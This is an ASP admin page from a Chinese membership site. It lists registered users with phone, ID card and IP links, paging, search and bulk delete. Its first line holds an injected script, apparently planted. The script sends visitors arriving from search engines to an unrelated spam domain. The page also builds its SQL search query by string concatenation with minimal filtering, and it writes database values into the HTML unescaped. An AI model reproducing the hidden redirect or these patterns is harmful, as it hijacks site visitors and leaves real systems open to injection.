d:\wwwroot\wuchunhua\admin\listuser.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.Redirect "login.asp"
004: end if
005:
006: dim sql,rs
007: keyword=replace(trim(request.form("keyword")),"'","")
008: if keyword <>"" then
009: sql="select * from china_user where uid like '%" & keyword & "%' or username like '%" & keyword & "%' order by id desc"
010: else
011: sql="select * from china_user order by id desc"
012: end if
013: set rs=server.createobject("adodb.recordset")
014: rs.open sql,conn,1,1%
>
015: <html>
016: <head>
017: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
018: <title>现有会员列表</title>
019: <link rel="stylesheet" type="text/css" href="style.css">
020: </head>
021:
022: <body>
023:       <SCRIPT language=javascript>
024: function CheckAll(form)
025: {
026:   for (var i=0;i<form.elements.length;i++)
027:     {
028:     var e = form.elements[i];
029:     if (e.Name != "chkAll")
030:        e.checked = form.chkAll.checked;
031:     }
032: }
033: function Checked()
034: {
035:    var j = 0
036:    for(i=0;i < document.form.elements.length;i++){
037:       if(document.form.elements[i].name == "adid"){
038:          if(document.form.elements[i].checked){
039:             j++;
040:          }
041:       }
042:    }
043:    return j;
044: }
045:
046: function DelAll()
047: {
048:    if(Checked()  <= 0){
049:       alert("您至少选择1个会员!");
050:    }  
051:    else{
052:       if(confirm("确定要删除选择的会员吗?\n此操作不可以恢复!")){
053:          form.action="del.asp?del=user";
054:          form.submit();
055:       }
056:    }
057: }
058:
059: </SCRIPT>
060: <FORM name=form method=post>
061:       <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
062:   <tr>
063:     <td height="20" bgcolor="#799AE1" align="center">
064:       <table width="98%"  border="0" cellspacing="0" cellpadding="0">
065:         <tr>
066:           <td align="center"><font color="#FFFFFF" style="font-size:14px">全 部 会 员 信 息</font></td>
067:           <td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
068:         </tr>
069:       </table></td>
070:   </tr>
071:   <tr>
072:     <td bgcolor="#FFFFFF"> <br>
073:         <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
074:           <tr bgcolor="#FFFFFF">
075: <td width="30" align="center">编号</td>
076:             <td align="center">用户名</td>
077:             <td align="center">姓名</td>
078:             <td align="center">电话</td>
079:             <td align="center">身份证</td>
080:             <td align="center">IP</td>
081:             <td align="center">注册时间</td>
082:             <td align="center">状态</td>
083:             <td align="center">管理操作</td>
084:             <td width="30" align="center"><input id=chkAll
085:                   onClick=CheckAll(this.form) type=checkbox
086:                   value=checkbox name=chkAll></td>
087:           </tr>
088:           <%if rs.eof or rs.bof then
089: response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无会员信息!</font></td></tr></table><br>"
090: response.end
091: else
092: const maxperpage=20
093: dim currentpage
094: rs.pagesize=maxperpage
095: currentpage=request.querystring("pageid")
096: if isnumeric(currentpage)=false then
097: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
098: response.end
099: end if
100: if currentpage="" then
101: currentpage=1
102: elseif currentpage<1 then
103: currentpage=1
104: else
105: currentpage=clng(currentpage)
106:    if currentpage > rs.pagecount then
107:    currentpage=rs.pagecount
108:    end if
109: end if
110:
111: dim totalput,n
112: totalput=rs.recordcount
113: if totalput mod maxperpage=0 then
114: n=totalput\maxperpage
115: else
116: n=totalput\maxperpage+1
117: end if
118: if n=0 then
119: n=1
120: end if
121: rs.move(currentpage-1)*maxperpage
122: i=0
123: do while i< maxperpage and not rs.eof%
>
124:           <tr bgcolor="#FFFFFF">
125:             <td align="center"><%=i+currentpage*maxperpage-maxperpage+1%></td>
126:             <td>&nbsp;<%=rs("uid")%></td>
127:             <td align="center"><%=rs("username")%></td>
128:             <td align="center"><%=rs("tel")%></td>
129:             <td align="center"><%If rs("cardid")<>"" Then%>
130: <a href="../cardid.asp?cardid=<%=rs("cardid")%>" target="_blank">查</a>
131: <%Else%>无<%End If%></td>
132:             <td align="center"><%If rs("ip")<>"" Then%>
133: <a href="../ip.asp?ip=<%=rs("ip")%>" target="_blank">查</a>
134: <%Else%>无<%End If%></td>
135:             <td align="center"><%=rs("zcdate")%></td>
136:             <td align="center">
137:                 <%If rs("mark")="1" Then%>
138:                 <font color="#008000">通过</font>
139:                 <%Else%>
140:                 <font color="#FF0000">未通过</font>
141:                 <%End If%>
142:                     </td>
143:             <td align="center"><a href="edituser.asp?id=<%=rs("id")%>"><font color="green">修改</font></a></td>
144:             <td align="center"><input type="checkbox" name="adid" value="<%=rs("uid")%>" onClick=Checked(form)></td>
145:           </tr>
146:           <%i=i+1                    
147:     rs.movenext                                                              
148:     loop    
149:     rs.close  
150:     set rs=nothing                                                                                    
151:     conn.close  
152:     set conn=nothing                                                                                        
153:     end if%
>
154:         </table>
155:         <br>
156:     </td>
157:   </tr>
158: </table></FORM>                                                            
159:   <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">  
160:    <tr>                                                    
161:     <td height="20" bgcolor="#FFFFFF"><p align="center">页数:<%=currentpage%>/<%=n%>                                                            
162:       <%k=currentpage                                                                                        
163:       if k<>1 then%
>                                                                    
164:       <a href="?pageid=1">首页</a>                                                                                        
165:       <a href="?pageid=<%=k-1%>">上一</a>                                                                                        
166:       <%else%>                                                                    
167:       首页&nbsp;上一页                                                                                        
168:       <%end if%>                                                                    
169:       <%if k<>n then%>                                                                                        
170:       <a href="?pageid=<%=k+1%>">下一</a>                                                                                        
171:       <a href="?pageid=<%=n%>">尾页</a>                                                                                        
172:       <%else%>                                                                    
173:       下一页&nbsp;尾页                                                                                        
174:       <%end if%>                                                                    
175:      共有 <%=totalput%> 个会员     </td>                                                                                  
176:     <form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
177:       <input  maxLength="20" name="keyword" onfocus="this.value=''" size="18"  value="<%=keyword%>">
178:     <input  type="submit" value="搜索" style="font-size: 12px" name="search"></td>
179:     </form>
180:    </tr>                                                                
181: </table>                                                      
182: </body>                                                                        
183: </html>    
184:
185: